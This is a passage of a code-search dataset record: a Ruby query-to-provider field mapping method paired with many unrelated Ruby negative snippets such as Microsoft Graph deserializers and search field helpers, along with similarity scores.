"0.57397753",
"0.5706435",
"0.5703979",
"0.5701016",
"0.56983405",
"0.5695052",
"0.56939507",
"0.5684885",
"0.5682355",
"0.5680722",
"0.5667017",
"0.5662688",
"0.56570137",
"0.56528634",
"0.5652527",
"0.564909",
"0.5640425",
"0.5638915",
"0.56366324",
"0.5636137",
"0.5634783",
"0.56312525",
"0.56290746",
"0.56252533",
"0.56252533",
"0.5616735",
"0.5611899",
"0.56084335",
"0.56064534",
"0.5590411",
"0.55770606",
"0.55769926",
"0.5572032",
"0.5568488",
"0.556842",
"0.5550173",
"0.55481017",
"0.55451864",
"0.5542492",
"0.55386215",
"0.552779"
] |
0.0
|
-1
|
Before doing a query, mapping fields Transform Object query field to Provider query Fields
|
def query_map(sCloudObj, hParams)
return nil if not sCloudObj or not [String, Symbol].include?(sCloudObj.class)
return {} if not hParams
sCloudObj = sCloudObj.to_sym if sCloudObj.class == String
hReturn = {}
hMap = rhGet(@@meta_obj, sCloudObj, :query_mapping)
hParams.each { |key, value|
oKeyPath = KeyPath.new(key)
sKeyPath = oKeyPath.sFullPath
raise ForjError.new(), "Forj query field '%s.%s' not defined by class '%s'" % [sCloudObj, oKeyPath.sKey, self.class] if not hMap.key?(oKeyPath.sFullPath)
oMapPath = KeyPath.new(hMap[oKeyPath.sFullPath])
hValueMapping = rhGet(@@meta_obj, sCloudObj, :value_mapping, sKeyPath)
if hValueMapping
raise ForjError.new(), "'%s.%s': No value mapping for '%s'" % [sCloudObj, oKeyPath.sKey, value] if rhExist?(hValueMapping, value) != 1
rhSet(hReturn, hValueMapping[value], oMapPath.aTree)
else
rhSet(hReturn, value, oMapPath.aTree)
end
}
hReturn
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fields_for_query\n self.class.fields_coercions.keys.each_with_object({}) do |field_name, results|\n results[field_name] = @fields.each_with_object({}) do |(locale, fields), field_results|\n field_results[locale] = get_value_from(fields, field_name)\n end\n end\n end",
"def fields_for_query\n self.class.fields_coercions.keys.each_with_object({}) do |field_name, results|\n results[field_name] = @fields.each_with_object({}) do |(locale, fields), field_results|\n field_results[locale] = get_value_from(fields, field_name)\n end\n end\n end",
"def typus_fields_for(filter); end",
"def query_field; end",
"def get_field_deserializers()\n return {\n \"criteria1\" => lambda {|n| @criteria1 = n.get_string_value() },\n \"criteria2\" => lambda {|n| @criteria2 = n.get_string_value() },\n \"oper\" => lambda {|n| @oper = n.get_string_value() },\n }\n end",
"def proc_query(field); end",
"def initialize_fields_entities!\n @entity = SimpleAdmin::Entity.find_by(model_klass_name: model_klass.to_s)\n @entity_fields = @entity.entity_fields.where(presentation: field_presentation)\n end",
"def normalize_fields\n @fields = @fields.map do |field|\n case field\n when Symbol, String\n @properties[field]\n\n when Property, Operator\n field\n end\n end\n end",
"def get_field_deserializers()\n return {\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"queryString\" => lambda {|n| @query_string = n.get_string_value() },\n \"queryTemplate\" => lambda {|n| @query_template = n.get_string_value() },\n }\n end",
"def set_searchable_fields\n NUMBER_TO_OBJECT_MAP.each do |num, object|\n @searchable_fields[num] = object.column_names - ['id']\n end\n \n @searchable_fields.each do |key, _|\n @searchable_fields[key] += ['_id', 'tags']\n end\n\n @searchable_fields['1'] << 'domain_names'\n end",
"def to_fields(fields, mapping_method)\n fields.each { |field| to_field field, mapping_method }\n end",
"def get_field_deserializers()\n return {\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"query\" => lambda {|n| @query = n.get_string_value() },\n \"queryRoot\" => lambda {|n| @query_root = n.get_string_value() },\n \"queryType\" => lambda {|n| @query_type = n.get_string_value() },\n }\n end",
"def populate_filters(_inputs)\n super.tap do\n self.class.filters.each do |name, filter|\n next if given?(name)\n\n model_field = self.class.model_field_cache_inverse[name]\n next if model_field.nil?\n\n value = public_send(model_field)&.public_send(name)\n public_send(\"#{name}=\", filter.clean(value, self))\n end\n end\n end",
"def get_field_deserializers()\n return super.merge({\n \"appDisplayName\" => lambda {|n| @app_display_name = n.get_string_value() },\n \"dataType\" => lambda {|n| @data_type = n.get_string_value() },\n \"isSyncedFromOnPremises\" => lambda {|n| @is_synced_from_on_premises = n.get_boolean_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"targetObjects\" => lambda {|n| @target_objects = n.get_collection_of_primitive_values(String) },\n })\n end",
"def searchable_by *fields\n self.fields = process_fields(fields)\n end",
"def prepare(model, field_name = nil)\n @model = model\n @selection = Babik::Selection::Path::Factory.build(model, @aggregation_path)\n @field_name = field_name || \"#{self.table_alias}__#{SQL_OPERATION.downcase}\"\n self\n end",
"def related_fields(method)\n \n end",
"def process_fields\n models.each do |key, model|\n table = translation.find(model.table_name)\n model = generate_fields_for model, table if table\n end\n end",
"def advanced_search_legacy_field_mapping\n {\n author: 'search_author',\n title: 'search_title',\n subject: 'subject_terms',\n description: 'search',\n pub_info: 'pub_search',\n number: 'isbn_search'\n }\n end",
"def prep_query\n @options[:query]['region_id'] = @region_id if @region_id\n @options[:query]['state'] = @state if @state\n @options[:query]['county'] = @countye if @county\n @options[:query]['city'] = @city if @city\n @options[:query]['childtype'] = @childtype if @childtype\n @options\n end",
"def after_find\n add_assosiations\n map_fields\n end",
"def get_field_deserializers()\n return super.merge({\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"isAvailable\" => lambda {|n| @is_available = n.get_boolean_value() },\n })\n end",
"def local_field_values(original_entity, properties, field, aggregate)\n if !original_entity.group_by || original_entity.group_by == field\n return properties[field]\n end\n\n entity = original_entity.clone\n properties.each do |name, value|\n entity.eq(name, value)\n end\n entity.field_values(field, aggregate)\n end",
"def process_fields(fields)\n fields.map { |field| field.to_s.include?('.') ? field.to_s : \"#{self.table_name}.#{field}\" }\n end",
"def pre_initialize_fields\n end",
"def conditions_to_fields(conditions); end",
"def sortable_fields(context = nil)\n @_query_fields ||= {}\n if searchable?\n super(context) + @_query_fields.keys + ['_score']\n else\n super(context)\n end\n end",
"def get_field_deserializers()\n return super.merge({\n \"appId\" => lambda {|n| @app_id = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"objectId\" => lambda {|n| @object_id_escaped = n.get_string_value() },\n \"publisher\" => lambda {|n| @publisher = n.get_string_value() },\n })\n end",
"def force_convert_to_params\n build_nested_query(to_hash)\n end",
"def get_field_deserializers()\n return super.merge({\n \"buckets\" => lambda {|n| @buckets = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PlannerBucket.create_from_discriminator_value(pn) }) },\n \"plans\" => lambda {|n| @plans = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PlannerPlan.create_from_discriminator_value(pn) }) },\n \"tasks\" => lambda {|n| @tasks = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PlannerTask.create_from_discriminator_value(pn) }) },\n })\n end",
"def set_query_attributes!\n attr_names = self.class.search_query_attributes.map(&:to_s)\n self.query = attr_names.inject({}) { |memo, attr|\n memo[attr] = self.send(attr)\n memo\n }\n end",
"def query_fields\n @columns\n end",
"def get_field_deserializers()\n return {\n \"columnId\" => lambda {|n| @column_id = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"qualityId\" => lambda {|n| @quality_id = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"applicationName\" => lambda {|n| @application_name = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"externalId\" => lambda {|n| @external_id = n.get_string_value() },\n \"webUrl\" => lambda {|n| @web_url = n.get_string_value() },\n })\n end",
"def fields\n [*lookup]\n end",
"def get_field_deserializers()\n return super.merge({\n \"orderHint\" => lambda {|n| @order_hint = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"contractType\" => lambda {|n| @contract_type = n.get_string_value() },\n \"customerId\" => lambda {|n| @customer_id = n.get_guid_value() },\n \"defaultDomainName\" => lambda {|n| @default_domain_name = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n })\n end",
"def fetch_fields\n @result.fetch_fields\n end",
"def set_fields(obj, type, request, params)\n columns_for(type, request).each do |col|\n column = col\n\n if association?(col)\n ref = model.association_reflection(col)\n ds = ref.associated_dataset\n if model_class = associated_model_class(col)\n ds = model_class.apply_filter(:association, request, ds)\n end\n\n v = params[ref[:key].to_s]\n v = nil if v.to_s.strip == ''\n if v\n v = ds.first!(S.qualify(ds.model.table_name, ref.primary_key)=>v)\n end\n else\n v = params[col.to_s]\n end\n\n obj.send(\"#{column}=\", v)\n end\n end",
"def to_mapping\n\n\t\tis_protected_field?\n\n\t\tmapping = nil\n\n\t\t######################### BASIC MAPPING ############################\n\t\tmapping = {\n\t\t\tself.name.to_sym => {\n\t\t\t\t:properties => {\n\t\t \t:content_text => {\n\t\t\t\t\t\t:type => 'text', \n\t\t\t\t\t\t:analyzer => \"standard\",\n\t\t\t\t\t\t:search_analyzer => \"whitespace_analyzer\",\n\t\t\t\t\t\t:copy_to => []\n\t\t\t\t\t},\n\t\t\t\t\t:title_text => {\n\t\t\t\t\t\t:type => 'keyword', \n\t\t\t\t\t\t:fields => {\n\t\t\t\t\t :raw => { \n\t\t\t\t\t \t:type => 'text', \n\t\t\t\t\t\t\t\t:analyzer => \"standard\",\n\t\t\t\t\t\t\t\t:search_analyzer => \"whitespace_analyzer\"\n\t\t\t\t\t }\n\t\t\t\t\t },\n\t\t\t\t\t\t:copy_to => []\n\t\t\t\t\t},\n\t\t\t\t\t:textbook_name => {\n\t\t\t\t\t\t:type => 'keyword', \n\t\t\t\t\t\t:fields => {\n\t\t\t\t\t :raw => { \n\t\t\t\t\t \t:type => 'text', \n\t\t\t\t\t\t\t\t:analyzer => \"standard\",\n\t\t\t\t\t\t\t\t:search_analyzer => \"whitespace_analyzer\"\n\t\t\t\t\t }\n\t\t\t\t\t },\n\t\t\t\t\t\t:copy_to => []\n\t\t\t\t\t}\n\t \t}\n \t}\n\t\t}\n\n\t\t#either you cannot have a field name workup in the components\n\t\t## or whatever. \n\t\t## should raise an error called workup\n\t\t#puts \"mapping becomes first --------------:\"\n\t\t#puts \"commong field mapping ----\"\n\t\t#puts COMMON_FIELD_MAPPING\n\t\t#puts JSON.pretty_generate(mapping) \n\n\t\t######################## MERGE SEARCHABLE AT ROOT DOC ##############\n\t\tmapping[self.name.to_sym][:properties].merge!({\n\t\t\t:searchable => {\n\t\t\t\t:type => \"text\"\n\t\t\t},\n\t\t\t:workup_text => {\n\t\t\t\t:type => \"text\"\n\t\t\t},\n\t\t\t:workup => {\n\t\t\t\t:type => \"keyword\"\n\t\t\t}\n\t\t}) if self.name == \"_doc\"\n\n\t\t#puts \"mapping becomes:\"\n\t\t#puts JSON.pretty_generate(mapping)\n\n\t\t######################## COPY FIELD TO SEARCHABLE IF SEARCHABLE #####\n\t\tunless self.searchable.blank?\n\t\t\t#puts \"this is the mapping\"\n\t\t\t#puts mapping[self.name.to_sym][:properties][:content_text]\n\t\t\tmapping[self.name.to_sym][:properties][:content_text][:copy_to] << \"searchable\"\n\t\tend\n\n\t\t###################### IF CONTAINS_TESTS IS TRUE #####################\n\t\t\t\n\t\tunless self.contains_tests.blank?\n\t\t\t#puts \"name is:#{self.name}, contains tests is: #{self.contains_tests}\"\n\t\t\tif self.contains_tests == true\n\t\t\t\tmapping[self.name.to_sym][:properties][:content_text][:copy_to] << \"workup_text\"\n\t\t\tend\n\t\tend\n\n\t\t####################### SET FIELD TYPE AS NESTED UNLESS ITS ROOT DOC## \n\t\tunless self.name == \"_doc\"\n\t\t\tmapping[self.name.to_sym].merge!(:type => \"nested\") \n\t\tend\n\n\n\t\t###################### CALL PUT MAPPING ON ALL COMPONENTS ############\n\t\tself.components.each do |component|\n\t\t\tmapping[self.name.to_sym][:properties].merge!(component.to_mapping)\n\t\tend\n\n\t\tmapping\n\n\tend",
"def get_field_deserializers()\n return super.merge({\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"isUsable\" => lambda {|n| @is_usable = n.get_boolean_value() },\n \"isUsableOnce\" => lambda {|n| @is_usable_once = n.get_boolean_value() },\n \"lifetimeInMinutes\" => lambda {|n| @lifetime_in_minutes = n.get_number_value() },\n \"methodUsabilityReason\" => lambda {|n| @method_usability_reason = n.get_string_value() },\n \"startDateTime\" => lambda {|n| @start_date_time = n.get_date_time_value() },\n \"temporaryAccessPass\" => lambda {|n| @temporary_access_pass = n.get_string_value() },\n })\n end",
"def apply_criteria_options\n if spec = criteria.options[:sort]\n query.sort(spec)\n end\n if spec = criteria.options[:fields]\n query.select(spec)\n end\n end",
"def prepare(item, user, opts = {})\n unless item.is_a?(ActiveRecord::Base)\n raise CustomErrors::FilterArgumentError, \"Item must be an ActiveRecord::Base, got #{item.class}\"\n end\n\n filter_settings = item.class.filter_settings\n item_new = item\n\n # add custom fields if filter_settings specifies a lambda for custom_fields\n custom_fields = filter_settings[:custom_fields]\n custom_fields_is_lambda = !custom_fields.blank? && custom_fields.lambda?\n custom_fields_hash = {}\n if custom_fields_is_lambda && !item_new.nil? && !item_new.id.nil?\n item_new, custom_fields_hash = custom_fields.call(item, user)\n custom_fields_hash.transform_keys!(&:to_s)\n end\n custom_fields_keys = custom_fields_hash.keys\n\n # get newer sort of custom fields, and keep only string keys and transforms\n custom_fields_hash2 = filter_settings\n .fetch(:custom_fields2, {})\n # for calculated fields, they may not have a transform function, so skip those\n # and just use the value returned from the database\n .reject { |_key, value| value[:transform].nil? }\n .transform_values { |value| value[:transform] }\n .transform_keys(&:to_s)\n\n hashed_item = {}.merge(\n item_new&.as_json,\n custom_fields_hash,\n custom_fields_hash2\n )\n\n # project using filter projection or default fields\n # Note: most queries with a projection already only return required fields\n # but some don't... currently those using custom_filter_2\n projection = opts[:projection]\n if projection\n if projection[:include]\n # backwards compatible hack: custom fields always used to be included,\n # no matter the projection\n hashed_item.slice(*(projection[:include].map(&:to_s) + custom_fields_keys))\n else\n hashed_item.except(*projection[:exclude].map(&:to_s))\n end => hashed_item\n else\n default_fields = filter_settings[:render_fields] + custom_fields_keys\n hashed_item = hashed_item.slice(*default_fields.map(&:to_s))\n end\n\n # Now that the projection is applied, transform any remaining\n # custom values.\n # We don't want to do this earlier because calculating a custom field\n # before the projection could result in unneeded custom fields being\n # included which apart from being slow may also fail due to missing select\n # data\n hashed_item.transform_values { |value|\n next value unless value.is_a?(Proc)\n\n value.call(item)\n }\n end",
"def normalize_fields!\n # TODO: normalize Array of Symbol, String or DM::Property\n\n # TODO: loop over fields, and if the resource doesn't match\n # self.resource, append the property's resource to @links\n # eg:\n #if property.resource != self.resource\n # @links << discover_path_for_property(property)\n #end\n end",
"def def_dept_helper\n @basic_query_params[:fields] = ['timeoriginalestimate', 'customfield_10002']\n end",
"def set_search_fields(fields, precision)\n condition = nil\n # when the results have match with all fields\n condition = \"AND\" if params[\"Match all\"]\n fields.each do |field|\n @results = @data.search_by params[field], field, condition, precision unless params[field]==\"\"\n end\n end",
"def get_field_deserializers()\n return {\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"query\" => lambda {|n| @query = n.get_string_value() },\n \"queryType\" => lambda {|n| @query_type = n.get_enum_value(MicrosoftGraph::Models::SecurityQueryType) },\n }\n end",
"def get_field_deserializers()\n return {\n \"city\" => lambda {|n| @city = n.get_string_value() },\n \"countryOrRegion\" => lambda {|n| @country_or_region = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"officeLocation\" => lambda {|n| @office_location = n.get_string_value() },\n \"postalCode\" => lambda {|n| @postal_code = n.get_string_value() },\n \"state\" => lambda {|n| @state = n.get_string_value() },\n \"street\" => lambda {|n| @street = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"lowerAddress\" => lambda {|n| @lower_address = n.get_string_value() },\n \"upperAddress\" => lambda {|n| @upper_address = n.get_string_value() },\n })\n end",
"def typus_fields_for(filter)\n\n fields_with_type = ActiveSupport::OrderedHash.new\n\n begin\n if self.respond_to?(\"admin_fields_for_#{filter}\")\n fields = self.send(\"admin_fields_for_#{filter}\")\n else\n fields = Typus::Configuration.config[self.name]['fields'][filter.to_s]\n fields = fields.split(', ').collect { |f| f.to_sym }\n end\n rescue\n filter = 'list'\n retry\n end\n\n begin\n\n fields.each do |field|\n\n attribute_type = self.model_fields[field]\n\n # Custom field_type depending on the attribute name.\n case field.to_s\n when 'parent_id': attribute_type = :tree\n when /file_name/: attribute_type = :file\n when /password/: attribute_type = :password\n when 'position': attribute_type = :position\n end\n\n if self.reflect_on_association(field)\n attribute_type = self.reflect_on_association(field).macro\n end\n\n if self.typus_field_options_for(:selectors).include?(field)\n attribute_type = :selector\n end\n\n # And finally insert the field and the attribute_type \n # into the fields_with_type ordered hash.\n fields_with_type[field.to_s] = attribute_type\n\n end\n\n rescue\n fields = Typus::Configuration.config[self.name]['fields']['list'].split(', ')\n retry\n end\n\n return fields_with_type\n\n end",
"def get_field_deserializers()\n return super.merge({\n \"orderHintsByAssignee\" => lambda {|n| @order_hints_by_assignee = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::PlannerOrderHintsByAssignee.create_from_discriminator_value(pn) }) },\n \"unassignedOrderHint\" => lambda {|n| @unassigned_order_hint = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return {\n \"costCenter\" => lambda {|n| @cost_center = n.get_string_value() },\n \"division\" => lambda {|n| @division = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end",
"def query_projection_default(query)\n apply_projections(query, @build.projections({ include: @render_fields }))\n end",
"def getAllFieldsMap\n @customFieldMap = self.class.get(\"/rest/api/2/field\", :verify => false)\n end",
"def get_field_deserializers()\n return super.merge({\n \"capability\" => lambda {|n| @capability = n.get_string_value() },\n \"providerId\" => lambda {|n| @provider_id = n.get_string_value() },\n \"providerName\" => lambda {|n| @provider_name = n.get_string_value() },\n \"providerResourceId\" => lambda {|n| @provider_resource_id = n.get_string_value() },\n \"uri\" => lambda {|n| @uri = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"aliases\" => lambda {|n| @aliases = n.get_collection_of_primitive_values(String) },\n \"countriesOrRegionsOfOrigin\" => lambda {|n| @countries_or_regions_of_origin = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::SecurityIntelligenceProfileCountryOrRegionOfOrigin.create_from_discriminator_value(pn) }) },\n \"description\" => lambda {|n| @description = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityFormattedContent.create_from_discriminator_value(pn) }) },\n \"firstActiveDateTime\" => lambda {|n| @first_active_date_time = n.get_date_time_value() },\n \"indicators\" => lambda {|n| @indicators = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::SecurityIntelligenceProfileIndicator.create_from_discriminator_value(pn) }) },\n \"kind\" => lambda {|n| @kind = n.get_enum_value(MicrosoftGraph::Models::SecurityIntelligenceProfileKind) },\n \"summary\" => lambda {|n| @summary = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityFormattedContent.create_from_discriminator_value(pn) }) },\n \"targets\" => lambda {|n| @targets = n.get_collection_of_primitive_values(String) },\n \"title\" => lambda {|n| @title = n.get_string_value() },\n \"tradecraft\" => lambda {|n| @tradecraft = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityFormattedContent.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers() \n return super.merge({\n \"categories\" => lambda {|o, n| o.categories = n.get_collection_of_primitive_values(String) },\n \"changeKey\" => lambda {|o, n| o.change_key = n.get_string_value() },\n \"createdDateTime\" => lambda {|o, n| o.created_date_time = n.get_date_value() },\n \"lastModifiedDateTime\" => lambda {|o, n| o.last_modified_date_time = n.get_date_value() },\n })\n end",
"def with_field(value)\n @query_hash[WITH_FIELD][value] = value\n self\n end",
"def get_field_deserializers()\n return super.merge({\n \"itemId\" => lambda {|n| @item_id = n.get_string_value() },\n \"urlMatchInfo\" => lambda {|n| @url_match_info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ExternalConnectorsUrlMatchInfo.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"clusterBy\" => lambda {|n| @cluster_by = n.get_string_value() },\n \"clusterByValue\" => lambda {|n| @cluster_by_value = n.get_string_value() },\n \"emailCount\" => lambda {|n| @email_count = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"networkMessageIds\" => lambda {|n| @network_message_ids = n.get_collection_of_primitive_values(String) },\n \"query\" => lambda {|n| @query = n.get_string_value() },\n \"urn\" => lambda {|n| @urn = n.get_string_value() },\n })\n end",
"def computed_fields; end",
"def get_field_deserializers()\n return super.merge({\n \"additionalTags\" => lambda {|n| @additional_tags = n.get_collection_of_primitive_values(String) },\n \"contentWebUrl\" => lambda {|n| @content_web_url = n.get_string_value() },\n \"contributors\" => lambda {|n| @contributors = n.get_collection_of_primitive_values(String) },\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"duration\" => lambda {|n| @duration = n.get_duration_value() },\n \"externalId\" => lambda {|n| @external_id = n.get_string_value() },\n \"format\" => lambda {|n| @format = n.get_string_value() },\n \"isActive\" => lambda {|n| @is_active = n.get_boolean_value() },\n \"isPremium\" => lambda {|n| @is_premium = n.get_boolean_value() },\n \"isSearchable\" => lambda {|n| @is_searchable = n.get_boolean_value() },\n \"languageTag\" => lambda {|n| @language_tag = n.get_string_value() },\n \"lastModifiedDateTime\" => lambda {|n| @last_modified_date_time = n.get_date_time_value() },\n \"numberOfPages\" => lambda {|n| @number_of_pages = n.get_number_value() },\n \"skillTags\" => lambda {|n| @skill_tags = n.get_collection_of_primitive_values(String) },\n \"sourceName\" => lambda {|n| @source_name = n.get_string_value() },\n \"thumbnailWebUrl\" => lambda {|n| @thumbnail_web_url = n.get_string_value() },\n \"title\" => lambda {|n| @title = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"amazonAccountId\" => lambda {|n| @amazon_account_id = n.get_string_value() },\n \"amazonResourceId\" => lambda {|n| @amazon_resource_id = n.get_string_value() },\n \"resourceName\" => lambda {|n| @resource_name = n.get_string_value() },\n \"resourceType\" => lambda {|n| @resource_type = n.get_string_value() },\n })\n end",
"def transform(parsed_query)\n parsed_query.inject({}) do |all, (key, value)|\n if node = MAP[key]\n field = node[:field]\n all[field] = convert(value, node[:type])\n end\n all\n end\n end",
"def initialize_hydration(model_class, requested_fields, request_ctx)\n SuperScopes::ParamSet.new(model_class, requested_fields, request_ctx)\n end",
"def mongoize_queries(queries)\n # delete any information not needed by/compatible with Mongoid execution\n mongoized_queries = queries.dup\n mongoized_queries.each_pair do |name, details|\n # have to dup the query details to avoid changing the original hashes\n mongoized_queries[name] = details.dup.tap {|t| t.delete(:klass) }\n end\n end",
"def get_field_deserializers()\n return {\n \"contactEmail\" => lambda {|n| @contact_email = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"statementUrl\" => lambda {|n| @statement_url = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"insights\" => lambda {|n| @insights = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::UserExperienceAnalyticsInsight.create_from_discriminator_value(pn) }) },\n \"metricValues\" => lambda {|n| @metric_values = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::UserExperienceAnalyticsMetric.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return {\n \"accountName\" => lambda {|n| @account_name = n.get_string_value() },\n \"domainName\" => lambda {|n| @domain_name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"excludeLocations\" => lambda {|n| @exclude_locations = n.get_collection_of_primitive_values(String) },\n \"includeLocations\" => lambda {|n| @include_locations = n.get_collection_of_primitive_values(String) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end",
"def update_fields(fields)\n\n # Also consider extracting this common code between vendor and item to basic_data\n # instead of going through each attribute on self, iterate through each item in field and update from there\n self.attributes.each do |k, v|\n attributes[k.to_sym] = fields[SYMBOL_TO_STRING[k.to_sym]] || fields[k.to_sym] || attributes[k.to_sym]\n end\n\n attributes[:id] = fields[SYMBOL_TO_STRING[:id]] || attributes[:id]\n self\n end",
"def to_json_query \n # Body of main function\n\n json_query = ''\n field_ops = Array.new\n outfields = Array.new\n \n json_query += self.to_json_query_filter\n\n self.fields.each do |field|\n if field.respond_to?(:operator)\n field_ops << case field.operator\n when :count then\n if field.target.is_a?(DataMapper::Property)\n \"[?#{field.target.field}!=undefined].length\"\n else # field.target is all.\n \".length\"\n end\n when :min\n if field.target.kind_of?(DataMapper::Property::DateTime) || \n field.target.kind_of?(DataMapper::Property::Time) || \n field.target.kind_of?(DataMapper::Property::Date)\n \"[=#{field.target.field}]\"\n else\n \".min(?#{field.target.field})\"\n end\n when :max\n if field.target.kind_of?(DataMapper::Property::DateTime) || \n field.target.kind_of?(DataMapper::Property::Time) || \n field.target.kind_of?(DataMapper::Property::Date)\n \"[=#{field.target.field}]\"\n else\n \".max(?#{field.target.field})\"\n end\n when :sum\n \".sum(?#{field.target.field})\"\n when :avg\n \"[=#{field.target.field}]\"\n end\n else\n outfields << \"'#{field.field}':#{field.field}\"\n end\n end\n\n json_query += field_ops.join(\"\")\n\n json_query += self.to_json_query_ordering\n\n json_query += \"[={\" + outfields.join(',') + \"}]\" unless outfields.empty?\n\n\n # puts json_query, headers\n return json_query, self.json_query_headers\n end",
"def initialize_fields_by_type\n database_field_names.each do |field|\n field_info = self.class.get_table_info.select {|hash| hash[\"name\"] == field}.first\n initialize_to_correct_date_type(field_info, field) \n end\n end",
"def typus_fields_for(filter)\n\n fields_with_type = ActiveSupport::OrderedHash.new\n\n begin\n fields = Typus::Configuration.config[name]['fields'][filter.to_s]\n fields = fields.extract_settings.collect { |f| f.to_sym }\n rescue\n return [] if filter == 'default'\n filter = 'default'\n retry\n end\n\n begin\n\n fields.each do |field|\n\n attribute_type = model_fields[field]\n\n if reflect_on_association(field)\n attribute_type = reflect_on_association(field).macro\n end\n\n if typus_field_options_for(:selectors).include?(field)\n attribute_type = :selector\n end\n\n # Custom field_type depending on the attribute name.\n case field.to_s\n when 'parent', 'parent_id' then attribute_type = :tree\n when /password/ then attribute_type = :password\n when 'position' then attribute_type = :position\n when /\\./ then attribute_type = :transversal\n end\n\n if respond_to?(:attachment_definitions) && attachment_definitions.try(:has_key?, field)\n attribute_type = :file\n end\n\n # And finally insert the field and the attribute_type\n # into the fields_with_type ordered hash.\n fields_with_type[field.to_s] = attribute_type\n\n end\n\n rescue\n fields = Typus::Configuration.config[name]['fields']['default'].extract_settings\n retry\n end\n\n return fields_with_type\n\n end",
"def fields_map\n super.merge({\n sub_collection_title: \"#{sub_collection_xpath}/#{Ead::SubCollection.fields_map[:title]}\",\n sub_collection_id: \"#{sub_collection_xpath}/#{Ead::SubCollection.fields_map[:id]}\", \n series_title: \"#{series_xpath}/#{Ead::Series.fields_map[:title]}\",\n series_id: \"#{series_xpath}/#{Ead::Series.fields_map[:id]}\"\n })\n end",
"def get_field_deserializers()\n return {\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"entityType\" => lambda {|n| @entity_type = n.get_string_value() },\n \"mailNickname\" => lambda {|n| @mail_nickname = n.get_string_value() },\n \"onBehalfOfUserId\" => lambda {|n| @on_behalf_of_user_id = n.get_guid_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"location\" => lambda {|n| @location = n.get_string_value() },\n \"locationType\" => lambda {|n| @location_type = n.get_enum_value(MicrosoftGraph::Models::SecurityGoogleCloudLocationType) },\n \"projectId\" => lambda {|n| @project_id = n.get_string_value() },\n \"projectNumber\" => lambda {|n| @project_number = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"resourceName\" => lambda {|n| @resource_name = n.get_string_value() },\n \"resourceType\" => lambda {|n| @resource_type = n.get_string_value() },\n })\n end",
"def apply_filters(query)\n query\n end",
"def get_field_deserializers()\n return super.merge({\n \"categoryDescriptions\" => lambda {|n| @category_descriptions = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::PlannerCategoryDescriptions.create_from_discriminator_value(pn) }) },\n \"sharedWith\" => lambda {|n| @shared_with = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::PlannerUserIds.create_from_discriminator_value(pn) }) },\n })\n end",
"def populate_instances #:nodoc:\n if reference = @field.reference\n values_hash = rows.inject({}) do |hash, row|\n hash[row.value] = row\n hash\n end\n instances = Adapters::DataAccessor.create(Sunspot::Util.full_const_get(reference)).load_all(\n values_hash.keys\n )\n instances.each do |instance|\n values_hash[Adapters::InstanceAdapter.adapt(instance).id].instance = instance\n end\n true\n end\n end",
"def get_field_deserializers()\n return super.merge({\n \"appliesTo\" => lambda {|n| @applies_to = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::DirectoryObject.create_from_discriminator_value(pn) }) },\n \"isEnabled\" => lambda {|n| @is_enabled = n.get_boolean_value() },\n \"restrictions\" => lambda {|n| @restrictions = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::AppManagementConfiguration.create_from_discriminator_value(pn) }) },\n })\n end",
